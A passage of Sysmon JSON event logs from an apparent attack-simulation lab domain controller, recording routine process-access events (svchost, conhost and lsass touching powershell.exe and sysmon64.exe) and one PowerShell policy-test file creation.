indows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4313,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.725\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.725","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4314,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.725\r\nSourceProcessGUID: {90617006-413A-5F2D-0000-0010D50A0600}\r\nSourceProcessId: 3148\r\nSourceThreadId: 2512\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-413A-5F2D-0000-0010F40D0600}\r\nTargetProcessId: 1276\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.725","SourceProcessGUID":"{90617006-413A-5F2D-0000-0010D50A0600}","SourceProcessId":"3148","SourceThreadId":"2512","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-413A-5F2D-0000-0010F40D0600}","TargetProcessId":"1276","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4315,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.740\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.740","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4316,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.740\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.740","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1a4e6|C:\\Windows\\system32\\lsasrv.dll+1ba8f|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4317,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.740\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nTargetProcessId: 1368\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.740","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","TargetProcessId":"1368","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4318,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.756\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-413A-5F2D-0000-0010F40D0600}\r\nTargetProcessId: 1276\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.756","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-413A-5F2D-0000-0010F40D0600}","TargetProcessId":"1276","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4319,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.771\r\nProcessGuid: {90617006-413A-5F2D-0000-0010F40D0600}\r\nProcessId: 1276\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_chi210to.dnu.ps1\r\nCreationUtcTime: 2020-08-07 11:55:38.771","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.771","ProcessGuid":"{90617006-413A-5F2D-0000-0010F40D0600}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\__PSScriptPolicyTest_chi210to.dnu.ps1","CreationUtcTime":"2020-08-07 11:55:38.771","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4320,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.818\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-413A-5F2D-0000-0010F40D0600}\r\nTargetProcessId: 1276\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:38.818","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"104","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-413A-5F2D-0000-0010F40D0600}","TargetProcessId":"1276","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:39","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:38","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4321,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:38.818\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 104\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-413A-5F2D-0000-0010F40D0600}\r\nTargetProcessId: 1276\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 